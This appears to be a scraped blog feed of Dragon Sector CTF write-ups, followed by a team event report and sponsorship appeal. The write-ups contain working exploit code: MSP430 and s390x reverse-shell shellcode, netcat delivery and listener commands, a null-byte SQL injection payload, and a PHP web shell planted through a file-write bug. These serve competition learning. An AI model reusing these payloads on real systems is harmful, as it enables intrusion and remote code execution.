moveDisplay and its' three possible parametersOkay, so to make the display reveal the bonus flag we'll need to craft the following “shellcode”: 2F43 mov #2, R15 B012A4C1 call moveDisplay FF3F loop: jmp loop Alright, this 8-byte program will be perfect for our needs. Now, to make it run... For this part I grabbed a tool called mspdebug, which includes a built-in simulator and exposes a gdb stub to attach to. I could then run the program and simulate some inputted characters by setting a breakpoint at the end of the ISR and on the instruction where it receives the byte from the UART, and run the ISR manually by setting $PC to its' start address and making the processor run. Then, when it hit the character-reading breakpoint, I skipped this instruction and set the character manually to my liking, continuing once more and then finally hitting the breakpoint before the reti instruction of the ISR. Crude, but it allowed me to test my exploit pretty well. Here is a sample GDB command scirpt for getting to memcpy() after inputting an “abc” password: # Connect to the debuggertarget remote localhost:2000 # Break at the memcpy() callb *0xc118 # Break at the entrypointb main# Break at the mov 0x66, R14 instruction in the ISRb *0xc1ee# Break at the reti instruction in the ISRb *0xc25a # Continue, we'll hit the main() breakpointc ## Enter character 'a'# Run the ISRset $pc=__isr_7c# We are now at the mov 0x66... instruction# Skip it and set our needed charsiset $r14='a'# Continue to the end of the ISRc # Enter character 'b'set $pc=__isr_7csiset $r14='b'c # Enter character 'c'set $pc=__isr_7csiset $r14='c'c # Enter newlineset $pc=__isr_7csiset $r14=0x0ac # We are now before the memcpy() call Let's try that: Breakpoint 2, 0x0000c118 in checkpwd ()(gdb) x/2i $pc=> 0xc118 <checkpwd+56>: call #0xc25c ; memcpy 0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4) So here we are, right before the memcpy. Let's explore the stack a little: (gdb) bt#0 0x0000c118 in checkpwd ()#1 0x0000c212 in USCI0RX_ISR ()#2 0x0000c212 in USCI0RX_ISR ()Backtrace stopped: previous frame identical to this frame (corrupt stack?)(gdb) x/16hx $sp0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x0005 0x04000x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff Our stack pointer is currently set to 0x03E2, and our return pointer (to 0xC212) is at 0x3F2. Our password should be copied into 0x03E6. Let's run the memcpy() call. (gdb) niBreakpoint 2, 0x0000c118 in checkpwd ()(gdb) x/16hx $sp0x3e2: 0xffff 0xffff 0x6261 0x0063 0x0065 0x0202 0x0005 0x04000x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff Excellent - the password got copied as it should. Now, we can provide 12 bytes of password without overwriting the return pointer, and after that two bytes will smash the address to whatever we want. So, this is what our exploit password will look like:8 bytes of payload (the program we wrote earlier)4 bytes of whatever to fill up the space2 bytes containing 0x0202 - which is the address of our payload before memcpy()ing. We could also put 0x03E6 here, as it's the address of the payload on the stack.A newline to trigger checkpwdSo, it should be, in hex, 2F43B012A4C1FF3F DEADC0DE 0202 0A. Let's try running that in our emulator: (gdb) x/2i $pc=> 0xc118 <checkpwd+56>: call #0xc25c 0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)(gdb) bt#0 0x0000c118 in checkpwd ()#1 0x0000c212 in USCI0RX_ISR ()#2 0x0000c212 in USCI0RX_ISR ()Backtrace stopped: previous frame identical to this frame (corrupt stack?)(gdb) x/16hx $sp0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x000e 0x04000x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff This is before the stack smash happening. The return pointer is still set to 0xC212. Let's run the memcpy(). (gdb) niBreakpoint 2, 0x0000c118 in checkpwd ()(gdb) x/16hx $sp0x3e2: 0xffff 0xffff 0x432f 0x12b0 0xc1a4 0x3fff 0xadde 0xdec00x3f2: 0x0202 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff Pwned! We overwrote the return pointer. Let's break at our shellcode and continue the debugging sesison. (gdb) b *0x202Breakpoint 6 at 0x202(gdb) cContinuing.Breakpoint 6, 0x00000202 in ?? ()(gdb) x/3i $pc=> 0x202: mov #2, r15 ;r3 As==10 0x204: call #0xc1a4 0x208: jmp $+0 ;abs 0x208(gdb) And here we are, we have code execution! After running that password in the real device, we got the the display to move the other way around revealing the bonus flag, and received a round of applause from all the people nearby. Whew! What a task. w00t w00t g0t r00t \o/ Wyświetl pełny artykuł
-
During the run time of any jeopardy CTF, I (j00ru) am always looking for pwning tasks to solve, due to my obvious interest in low-level vulnerability hunting and exploitation techniques. As a result, I usually end up allocating many of the tasks related to native software security to myself; on the other hand, I rarely have the time to create detailed write-ups on how the challenges are solved. In order to avoid a situation where all of my exploits only consume disk space but are never useful to anyone but me for as long as the CTF runs, I decided to publish some of them (recent ones that I was able to easily locate) in their raw form, without commentary other than the comments in Python code. While not very interesting to those who would like to enjoy a nice, technical afternoon read, I still believe the exploits might be of some use to those who tried but didn't manage to complete the tasks or players looking for different methods and techniques to include in their hacking arsenal. Without further ado, the exploits are as follows: Hack.lu CTF (2013)Brezelparadisebackmaschine (Exploitation 500) 30C3 CTF (2013)cwitscher (Exploitation 350) Ghost in the Shellcode (2014)gitsmsg (Exploitation 299)Byte Sexual (Exploitation 600, with gynvael) HackIM (2014)Level 1 (Exploitation 100)Level 2 (Exploitation 200)Level 3 (Exploitation 300)Level 4 (Exploitation 400) Olympic CTF Sochi (2014)echof (Exploitation 300) Boston Key Party CTF (2014)fruits (Exploitation 100, with redford)jailbreak (Exploitation 400) Insomni'hack CTF (2014)bender (Exploitation 400)domowars (Exploitation 600, with mak) Enjoy! Wyświetl pełny artykuł
-
Intro The task has been solved by jagger and mak, both members of the Dragon Sector. It's a typical example of the 'pwn' category. You can download the server-side binary here. $ file zpwn zpwn: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.4, BuildID[sha1]=0xe1d81c88df9d4f618417bd2ebd037ea74dd1da97, stripped The emulator So, it's a S390/Linux binary. The S390 is a CPU arch created for the IBM System Z machines. Our team's funds were not enough to buy a real IBM System Z :) so we had to use an emulator. And the only viable option at the time was Hercules. After installing the hercules package (it comes with Ubuntu) we also had to install some Linux OS flavor, and we chose Debian 7.4 (for s390x), even though the original binary seemed to be compiled under SUSE (it left some SUSE specific sections in the zpwn ELF). If you're interested on how to get your own Debian on IBM System Z, please take a look at this excellent step-by-step guide. Configuration and installation process is slow & painful, but once we had the emulator running we thought that we were ready to go... ... but not so fast. The kernel that comes together with Debian 7.4 (3.2.sth) had a nasty bug in the ptrace() kernel-mode implementation, which prevented it from being used with gdb. It threw a few errors and exited when saving registers of the traced process. So, we had to upgrade the kernel with the newest .deb we could find on ze Internets (it's one of the newer Debian builds) and it was one of the 3.12 version releases. The hercules s390x emulator Recon A quick objdump over the binary tells us that it's essentially an echo server, which loops constantly, performing recvfrom(fd, buf, &len, &from) and sendto(fd, buf, len, &from);...... but not only that.... There's this peculiar procedure which computes some sort of hash/CRC over the data sent via the UDP socket (it's an unconnected one, which is important). And, in case this CRC equals to some predefined value, it jumps directly into the buffer mmap'd previously with PROT_READ|PROT_WRITE|PROT_EXEC permission bits. At this point, we started to understand how to obtain RCE. The following disassm shows us the data receiving and hash/CRC computing procedures dumped from the zpwn binary. ; recvfrom data from the UDP socket into the RWE buffer (address in %r11)80000b42: c0 e5 ff ff fe 51 brasl %r14,800007e4 <recvfrom@plt>.../* error checking */; move RXE mmap'd buffer adress to %r580000b54: b9 04 00 5b lgr %r5,%r11; ini %r2 with -180000b58: a7 28 ff ff lhi %r2,-1; copy number of chars in the buffer to %r380000b5c: b9 04 00 34 lgr %r3,%r4; loop until %r3 == 0 (condition at 0x80000b7c); load character from buf[index] to %r180000b60: 43 10 50 00 ic %r1,0(%r5); incement %r5 - now it points to the next char80000b64: 41 50 50 01 la %r5,1(%r5); compute CRC/HASH - XORs and SHIFTs mostly80000b68: 17 12 xr %r1,%r280000b6a: 88 20 00 08 srl %r2,880000b6e: b9 84 00 11 llgcr %r1,%r180000b72: eb 11 00 02 00 0d sllg %r1,%r1,280000b78: 57 21 c0 00 x %r2,0(%r1,%r12)80000b7c: a7 37 ff f2 brctg %r3,80000b60 ; if %r2 == -201528 jump to 0x80000bae80000b80: c2 2d ff fc ec c8 cfi %r2,-20152880000b86: a7 84 00 14 je 80000bae....; Jump directly to the buffer holding our data (%r11)80000bae: 0d eb basr %r14,%r11 So, in order to get RCE, we had to provide our shell-code as the UDP echo packet, and make sure that the CRC computed over it will be equal to -201528. The hash itself is 32 bit in size, so it should be trivial to brute-force it. But, we had to develop our shell-code first. Shellcode So, the echo was performed over an unconnected UDP socket, and we couldn't use it for our nefarious purposes (it'd require too much coding IMO), so we had to develop sth. that will either bind a socket and listens to our connections or connects back to our server. The following shellcode implements the latter idea (as it's one syscall less to code) Pseudocodes = socket(AF_INET, SOCK_STREAM, 0);connect(s, {IP1.IP2.IP3.IP4/8738}, 16);dup2(s, 0);dup2(s, 1);dup2(s, 2);execv(“/bin/sh”, NULL, NULL); I see you're amazed by the quality of the shell-code below :). Well, something that had to be implemented w/o knowing the assembler and its opcodes beforehand. So it's grossly inefficient. Learning new asm on the go is what haxors like the best, no? :) It's also more complicated than it should be because the network syscalls (socket, connect) are implemented on Linux/s390x via the socketcall() multiplexer which takes all args on the stack and not in registers (what would be considerably faster to implement). asm ( "mvi 0(%r15), 0\n" "mvi 1(%r15), 0\n" "mvi 2(%r15), 0\n" "mvi 3(%r15), 0\n" "mvi 4(%r15), 0\n" "mvi 5(%r15), 0\n" "mvi 6(%r15), 0\n" "mvi 7(%r15), 2\n" ; AF_INET "mvi 8(%r15), 0\n" "mvi 9(%r15), 0\n" "mvi 10(%r15), 0\n" "mvi 11(%r15), 0\n" "mvi 12(%r15), 0\n" "mvi 13(%r15), 0\n" "mvi 14(%r15), 0\n" "mvi 15(%r15), 1\n" ; SOCK_STREAM "mvi 16(%r15), 0\n" "mvi 17(%r15), 0\n" "mvi 18(%r15), 0\n" "mvi 19(%r15), 0\n" "mvi 20(%r15), 0\n" "mvi 21(%r15), 0\n" "mvi 22(%r15), 0\n" "mvi 23(%r15), 0\n" ; IPPROTO_IP "la %r3,0(%r15)\n" "la %r2, 1\n" "la %r1, 102\n"; socketcall - SYS_SOCKET(AF_INET(2), SOCK_STREAM(1), IPPROTO_IP(0)); "svc 102\n" "lgr %r6, %r2\n" "mvi 64(%r15), 0\n" "mvi 65(%r15), 2\n" ; AF_INET "mvi 66(%r15), 34\n" ; port (8738 = (34*256)+34) "mvi 67(%r15), 34\n" "mvi 68(%r15), D\n" ; our IP "mvi 69(%r15), C\n" "mvi 70(%r15), B\n" "mvi 71(%r15), A\n" "stg %r6, 0(%r15)\n" "la %r4, 64(%r15)\n" "stg %r4, 8(%r15)\n" "mvi 16(%r15), 0\n" "mvi 17(%r15), 0\n" "mvi 18(%r15), 0\n" "mvi 19(%r15), 0\n" "mvi 20(%r15), 0\n" "mvi 21(%r15), 0\n" "mvi 22(%r15), 0\n" "mvi 23(%r15),16\n" ; sizeof(struct sockaddr_in) "la %r3,0(%r15)\n" "la %r2, 3\n" "la %r1, 102\n"; socketcall - SYS_CONNECT(fd, {AF_INET, "A.B.C.D", "8738"}, 16); "svc 102\n" "la %r1,63\n" "lgr %r2,%r6\n" "la %r3,0\n"; dup2(fd, 0); "svc 63\n" "la %r1,63\n" "lgr %r2,%r6\n" "la %r3,1\n"; dup2(fd, 1); "svc 63\n" "la %r1,63\n" "lgr %r2,%r6\n" "la %r3,2\n"; dup2(fd, 2); "svc 63\n" "mvi 0(%r15),'/'\n" "mvi 1(%r15),'b'\n" "mvi 2(%r15),'i'\n" "mvi 3(%r15),'n'\n" "mvi 4(%r15),'/'\n" "mvi 5(%r15),'s'\n" "mvi 6(%r15),'h'\n" "mvi 7(%r15),0\n" "la %r1,11\n" "lgr %r2,%r15\n" "la %r3,0\n" "la %r4,0\n"; execve("/bin/sh", 0, 0); "svc 11\n" ); In hex it looks like the following (modulo our IP which is represented by IP1..IP4 bytes). "\x92\x00\xf0\x00\x92\x00\xf0\x01\x92\x00\xf0\x02\x92\x00\xf0\x03""\x92\x00\xf0\x04\x92\x00\xf0\x05\x92\x00\xf0\x06\x92\x02\xf0\x07""\x92\x00\xf0\x08\x92\x00\xf0\x09\x92\x00\xf0\x0a\x92\x00\xf0\x0b""\x92\x00\xf0\x0c\x92\x00\xf0\x0d\x92\x00\xf0\x0e\x92\x01\xf0\x0f""\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00\xf0\x13""\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x00\xf0\x17""\x41\x30\xf0\x00\x41\x20\x00\x01\x41\x10\x00\x66\x0a\x66\xb9\x04""\x00\x62\x92\x00\xf0\x40\x92\x02\xf0\x41\x92\x22\xf0\x42\x92\x22""\xf0\x43\x92\IP1\xf0\x44\x92\IP2\xf0\x45\x92\IP3\xf0\x46\x92\IP4""\xf0\x47\xe3\x60\xf0\x00\x00\x24\x41\x40\xf0\x40\xe3\x40\xf0\x08""\x00\x24\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00""\xf0\x13\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x10""\xf0\x17\x41\x30\xf0\x00\x41\x20\x00\x03\x41\x10\x00\x66\x0a\x66""\x41\x10\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x00\x0a\x3f\x41\x10""\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x01\x0a\x3f\x41\x10\x00\x3f""\xb9\x04\x00\x26\x41\x30\x00\x02\x0a\x3f\x92\x2f\xf0\x00\x92\x62""\xf0\x01\x92\x69\xf0\x02\x92\x6e\xf0\x03\x92\x2f\xf0\x04\x92\x73""\xf0\x05\x92\x68\xf0\x06\x92\x00\xf0\x07\x41\x10\x00\x0b\xb9\x04""\x00\x2f\x41\x30\x00\x00\x41\x40\x00\x00\x0a\x0b\x6d\x6f\x85\x48""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; You may ask, why so many "A"s at the end of the shell-code? The answer is, that there was some peculiar routing problem between our team's machines and the CTF setup, that prevented delivering UDP packets of sizes between ca. 120 and 520 bytes (tested from a few networking locations), so we had to artificially extend it to >600 bytes. Wicked, we know! But well :) CRC Now, we have our shellcode, but the CRC over it will not be the magic value, so let's append it with 4 bytes of data, and brute-force it. We need to get 0xfffcecc8 (-201528) in the result (%r2) register, and as this CRC goes sequentially over data in the buffer we can pre-compute the hash for the original shell-code payload, it'll make the whole procedure much quicker (here represented by uint64_t st = 0xffffffff8ec7938c). It's possible to represent it in pure C, and although it's quite easily doable giving, "more-or-less",.... while(%r3--) { %r1 = input ^ %2; %r2 = (%r2>>8) ^ (0x80000d7c[(%r1 & 0xff) << 2]; input++} ... hackers gonna hack, so we simply replicated the original code with asm inlines: #include <stdio.h>#include <stdint.h>#include <stdlib.h>int main(void) { uint64_t st = 0xffffffff8ec7938c; // Initial CRC of our SC uint64_t comp; uint8_t sc[4]; uint32_t *p2 = sc;// 1kB of data from the zpwn binary, dumped with gdb's// "dump binary memory", it's used by the CRC algorithm// as a random data table (addr held in %r12) uint8_t *tablica = "\x00\x00\x00\x00\x77\x07\x30\x96\xee\x0e\x61\x2c\x99\x09\x51\xba"......"\xb4\x0b\xbe\x37\xc3\x0c\x8e\xa1\x5a\x05\xdf\x1b\x2d\x02\xef\x8d""\x01"; sc[0] = 0; sc[1] = 0; sc[2] = 0; sc[3] = 0; uint64_t cnt = 0; for(;;) { cnt++; *p2 = (*p2)++; asm( " lgr %%r2, %1\n" " lgr %%r5, %2\n" " lgr %%r12, %3\n" " la %%r3, 4\n" " la %%r1, 0\n" "label1:\n" " ic %%r1,0(%%r5)\n" " la %%r5,1(%%r5)\n" " xr %%r1,%%r2\n" " srl %%r2,8\n" " .long 0xb9840011\n" ; llgrc %r1, %r1 " sllg %%r1,%%r1,2\n" " x %%r2,0(%%r1,%%r12)\n" " brctg %%r3,label1\n" " lgr %0, %%r2\n" : "=r" (comp) : "r" (st), "r" (sc), "r" (tablica) : "r1", "r2", "r3", "r5", "r12" ); if (comp == 0xfffcecc8 || comp == 0xfffffffffffcecc8) { // GOTCHA printf("==> %hhx %hhx %hhx %hhx\n", sc[0], sc[1], sc[2], sc[3]); printf("==> %x\n", *p2); break; } if ((cnt % 1000000) == 0) { printf("CNT: %llu\n", cnt); } } return 0;} After the not-so-quick brute-forcing session (~30 min.) using the emulator, we got the last 4 bytes of the payload ("\x42\x82\xe7\xc5") for this specific shell-code. PWN Now, let's save the shell-code as a file, append those 4 bytes, and send it using netcat. # Client $ cat sc | nc -u <serverip> 31337 # Listen on server for the back-connect $ nc -l -v 8738 Connection from 109.233.61.11 port 8738 [tcp/*] accepted id uid=1000(zpwn) gid=1000(zpwn) groups=1000(zpwn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) Voila! Let's grab the flag (from flag.txt) and move over to other tasks. Wyświetl pełny artykuł
-
Last Friday we took part in an local CTF - the first offline one for Dragon Sector - Insomni'hack 2014 in Geneva, Switzerland. It was a 10 hour long jeopardy-style CTF with a separate scoreboard for teams and individuals. We managed to both survive the night (even though MSLC was trying to seriously scare us) and eventually win the competition! On another note, we are looking for sponsors. The CTF started some time after 6 p.m. on Friday, at the Palexpo convention center next to the Geneva airport. The CTF area consisted of two wings, with all of the players split between them. At least 200 players were present, including some of the top CTFTime.org teams, such as the aforementioned MSLC, StratumAuhuur, int3pids or dcua (though it seems we were the only ones lucky enough to be able to come in full an 8-person squad). There were 30 tasks (+ several bonus ones) in total, ranging from 50 to 600 points each, divided into the usual categories (pwn, web, stegano, crypto, re, and so on). The competition started with five tasks available (each worth 50 points) with more challenges unlocked in batches after reaching a specific point limit (150, 450, 1050 and 2250), or after a few hours passed. Our opponents were both skilled and relentless, with the very top of the ranking being reshuffled quite frequently. Thankfully, at one point in time soon after the contest started we did manage to achieve a point advantage and keep it until the end of the event. Having said that, we were not able to solve all challenges, so the battle lasted until 4 a.m. (the official CTF closing time) with most of the top teams, including us, scoring points till the very last minute. In addition to that, at one point MSLC started to gain a lot of points in the rankings, eventually minimizing the distance and then surpassing our score by a few hundred points. We were really freaked out by this fact, especially given that we were solving the tasks at quite a decent rate and they just skyrocketed in front of us! After some short period of time it turned out that they had found a bug in the flag submission logic and thus were able to submit each flag at least twice - in the end, they reported the bug, received well deserved bonus points and the score went back to normal. :) Before we get to the next topic, we would like to thank the Insomni'hack organizers (especially Nicolas, Alain and Michael, as well as SCRT & 0daysober in general) for both making the CTF happen, organizing the CERN visit and dealing with the many e-mails our captain sent to them prior to the event including various questions, requests, etc. Great work guys! Now, about the other matter. As you may know, this year has been quite eventful as far as CTFs are concerned, including both single-tier ones and qualification rounds for various offline events. So far, we have managed to qualify to the finals of all contests we have found important, and therefore we have travelled or are planning to travel to:Insomni'hack in Geneva, Switzerland - We were top-1 in the teaser round and top-1 in the finals, as you already know.CODEGATE in Seoul, South Korea (next weekend) - top-7 in the qualification round.PHDays finals in Moskow, Russia (May) - top-1 in the qualification round.DEF CON CTF in Las Vegas, US (August) - We qualified from top-2 in Ghost in The Shellcode CTF and top-1 in Olympic CTF Sochi.In some cases, qualifying from top positions grants partial expense coverage for the travel (the case of CODEGATE) or several hotel rooms provided by the organizers (the case of Insomni'hack). In other cases, the organizers go out of their way to help teams with their travel costs (the case of PHDays). Otherwise, and this is especially true for DEF CON CTF, the teams just have to manage on their own. After doing the math and then recalculating the results over and over again, we came to the final conclusion that even considering our saved up winnings and personal input, we just won't be able to travel to DEF CON without external help. So... Dragon Sector is looking for financial sponsors. At this point we are open to all options, including a one time sponsorship related to DEF CON CTF or a longer relationship. We are also open to discussion regarding various requirements and expectations which would satisfy potential sponsors. If you would like to discuss the details, please e-mail our captain and vice-captain at gynvael@coldwind.pl and j00ru.vx@gmail.com. For now, that's it. Keep a look out for more technical write-ups and status updates soon!Wyświetl pełny artykuł
-
IntroThe task consisted of a 19kB pcap file with a single complete TLS conversation between a client and an HTTPS server (using DHE_RSA), and a rather laconic description - "just break TLS". Well, since you asked… Poking aroundShortly after opening the file in Wireshark intersting details surface. While the server looks absolutely valid, the client seems to have a rather unusal random number generator. The 0x20 byte long random nonce sent in the Client Hello message is: 0000000: 4469 4865 2031 3333 3720 3133 3337 2031 DiHe 1337 1337 1 0000010: 3333 3720 3133 3337 2031 3333 3720 3133 337 1337 1337 13 Since that looks very non-random, perhaps the client exponent is easy to figure out? We can get the Diffie-Hellman parameters p and g from the Server Key Exchange mesage, we also have gx from the Client Key Exchange: 4a771bbd30b56bb87089a665976efc66363448588236d6f61e64e7dfaf54 b187df22337a75930d622b71fc88fb4f5d4af2384e8f0e4a11c967d699f3 05144c369207990053cb2d5e70e596aea4b5b1ac2c274ae08e1eb1bb1d78 eb3b9fd3702d78610b15d39352cbf748919d6930245f4d3e4fc9f48504a1 5e132f08b9c50fb9The first attempt - assuming the exponent to be " 1337", repeated to fill 32 bytes and shifted - was unsuccessful. The second - trying the number 1337 - worked just fine. So now that the client's private exponent has been recovered, it's time to decrypt the session… DecryptionWireshark comes with a built-in SSL decryption facility. What it needs is a Session ID and a Master Secret. The Session ID is (as this is a new session) sent in the Server Hello message, so we have that. We also have the client secret (1337), the generator (2), the prime and the server public key (gy). This allows us to compute gxy, the Pre-Master Secret, by simply raising the server public key to the 1337-th power, mod p. The Master Secret is computed - according to TLS specs - as PRF(premaster_secret, "master secret", Client Random + Server Random)[0..47], the "+" being string concatenation, and PRF defined someplace else in the same RFC. Luckily we have all of those, and there is a compliant implementation of the PRF function in the tlslite python library. Plugging in the appropriate values, the master secret is obtained:4B02C246E50DE1CEA408018AE53F3C78386356A3D4C196E2FC9DE58079F5C57ED4698925E5BE507E315304A81B8AF2ACAfter creating a master key logfile for Wireshark to consume, the data can be successfully decrypted: Since RUCTF_ILoveToHackTLS was indeed the correct flag, this concludes the write-up. Wyświetl pełny artykuł
-
Introduction "120" is the second web challenge from the Codegate CTF Preliminary 2014. It has been solved by 100 teams, but our team was the fastest. The challenge contains two files: index.php and auth.php, where both are very similar: Additionally, we are given the source code of index.php: <?php session_start(); $link = @mysql_connect('localhost', '', ''); @mysql_select_db('', $link); function RandomString() { $filename = "smash.txt"; $f = fopen($filename, "r"); $len = filesize($filename); $contents = fread($f, $len); $randstring = ''; while( strlen($randstring)<30 ){ $t = $contents[rand(0, $len-1)]; if(ctype_lower($t)){ $randstring .= $t; } } return $randstring; } $max_times = 120; if ($_SESSION['cnt'] > $max_times){ unset($_SESSION['cnt']); } if ( !isset($_SESSION['cnt'])){ $_SESSION['cnt']=0; $_SESSION['password']=RandomString(); $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'"; @mysql_query($query); $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')"; @mysql_query($query); }$left_count = $max_times-$_SESSION['cnt'];$_SESSION['cnt']++; if ( $_POST['password'] ){ if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){ @mysql_close($link); exit("Wrong access"); } $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')"; $q = @mysql_query($query); $res = @mysql_fetch_array($q); if($res['ip']==$_SERVER['REMOTE_ADDR']){ @mysql_close($link); exit("True"); } else{ @mysql_close($link); exit("False"); } } @mysql_close($link);?> Recon We can see that the script is setting a random password for every 120 consecutive requests. The password is linked to our unique IP address and stored in the MySQL database. We are able to send password parameter via POST, which is tested on the blacklist: if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){ @mysql_close($link); exit("Wrong access"); } Yes, this challenge is about SQL injection attack. Let's look at the vulnerable line: $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')"; It's impossible to alter $_SERVER[REMOTE_ADDR], but $_POST[password] is under our control! Magic quotes were disabled on that server, so there was no problem to close a single quote. Take a look at the rest of the code: $q = @mysql_query($query); $res = @mysql_fetch_array($q); if($res['ip']==$_SERVER['REMOTE_ADDR']){ @mysql_close($link); exit("True"); } else{ @mysql_close($link); exit("False"); } Errors are stripped (@ before functions names), so our attack may be boolean blind injection based on True/False output. Functions like sleep or benchmark are not on the blacklist, so we can also do time-based attack. The second idea is more reasonable, because we have only 120 queries. ...is it? eregi - old and bad WAF is based on the eregi function. In the manual we can read:WarningThis function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.Why is that? For example because eregi stops reading strings on the first null byte. Remember that PHP allows us to send strings containing null bytes. By setting first byte of password to null we can bypass eregi and use all forbidden words from the blacklist! 120? - just think out of the box After every 120 requests new password linked to our IP address is generated. So logical is that we have to get our password in 120 queries. ...is it? Who said it must be our password? :) We just can use our first IP address to get password linked to a second IP address we control. For example: 1) Request index.php to generate new password and store it in the database. Use first IP to do it. 2) Do blind SQL injection attack to get password linked to the first IP. Use second IP to do it. 3) Login in auth.php and profit. Use first IP to do it. Payload The last missing thing is the payload. After bypassing the whole blacklist creating one is not difficult. %00') union select if((select 1 from rms_120_pw where ip='$IP_with_static_password' and ord(mid(password,$i,1))>$guess limit 1),'$IP_with_exploit',0),2-- x We can do fast binsearch boolean-based blind SQL injection using this. Congrats!After all we solved it in very fast and smart way :)Congrats! the key is DontHeartMeBaby*$#@! The challenge has been solved by Mawekl, member of the Dragon Sector.Wyświetl pełny artykuł
-
Wyświetl pełny artykuł
-
Every once in a while I’m posting solution to some crackme that I consider interesting. By interesting, I mean the solution, so it is not exactly about key generation algorithm but also about technology and tricks that are utilized. Looking at the traffic statistics, it seems that this topic isn’t exactly the one that people […]Wyświetl pełny artykuł
-
The write-up was created by mak and edited by j00ru of Dragon Sector. Let's get started with the "RPC" challenge, poked with and solved by quite a few people on our team: jagger, mak, keidii, Mawekl and vnd, and available during the CTF with the following description: Wallarm experts[0] do it in 3 minutes. How long will it take you[1]? Flag format: CTF{..32 hexes..} [0]http://wallarm.com/ [1]http://109.233.61.11:8880/Once we clicked on the second link, the task website welcomed us with the following error: Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27 After some brief googling around for the notice message, we found out what rpc-json was and how it roughly worked. An example of a JSON stream as expected by the protocol looks like the snippet below: {"jsonrpc": "2.0", "method": "mymethod", "params":{"a1":"va1","a2":"val2"}}which basically boils down to firing up $obj->$mymethod($val1, $val2). The obvious way to approach this is to find some useful methods we could use in further exploitation - the first one we were able to locate was test with an id parameter: $ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"foo","params":{}}' ; echo invalid method. Try test $ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"test","params":{"a":"x"}}' ; echo invalid method params! Valid is: id 42 We played with the id argument for a bit, unfortunately with no luck - it always returned 42, as this is the answer to everything, right? :) This required us to perform some more educated guessing with regards to the method names: import requests import json def call_method(m,p): if type(m) == type(p) and type(m) == list: d= [] for m,p in zip(m,p): d.append({'jsonrpc':'2.0',"params":p,"method":m}) else: d = {'jsonrpc':'2.0',"params":p,"method":m} print json.dumps(d) r = requests.post('http://109.233.61.11:8880/index.php',data={'rpc_json_call':json.dumps(d)}) return r.text def check_method(m): return call_method(m,{})[:7] != 'invalid' methods = [ 'test', 'construct','wakeup','sleep', 'toString','to_string','invoke','set_state', 'construct','destruct', 'call', 'callStatic', 'get', 'set', 'isset', 'unset', 'toString', 'invoke', 'set_state','clone' ] for m in methods: if check_method(m): print m if check_method('_'+m): print '_' + m if check_method('__'+m): print '__' + m $ python2 /tmp/r.py test __construct __wakeupOnce we knew about two more interesting methods (standard ones used by PHP for object serialization), we could determine their parameter names: $ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"__construct","params":{"a":"x"}}' ; echo invalid method params! Valid is: log_dir debug stateThis sounded like we could set some state (curious!), turn on debugging and log something somewhere. With the filesystem path from the original error message, we tried to write to a test file: $ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/testing", "debug":true, "state":"pwnd"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo ...logged $ curl http://109.233.61.11:8880/testing 1391980389 O:3:"rpc":1:{s:5:"state";s:4:"pwnd";}Hurray, it worked! Having an arbitrary file write primitive, we could easily get ourselves a remote shell: $ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/t.php", "debug":true, "state":"<? system($_GET['x']);?>"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo ...logged $ curl http://109.233.61.11:8880/t.php?x=id 1391980463 O:3:"rpc":1:{s:5:"state";s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)Even having compromised the server, we still had to spend a few minutes snooping around the file system, eventually finding the desired flag in the root directory: $ curl 'http://109.233.61.11:8880/t.php?x=cat%20/FLAG' 1391980463 O:3:"rpc":1:{s:5:"state";s:22:"CTF{b15ffee30a117f418d1cede6faa57778} 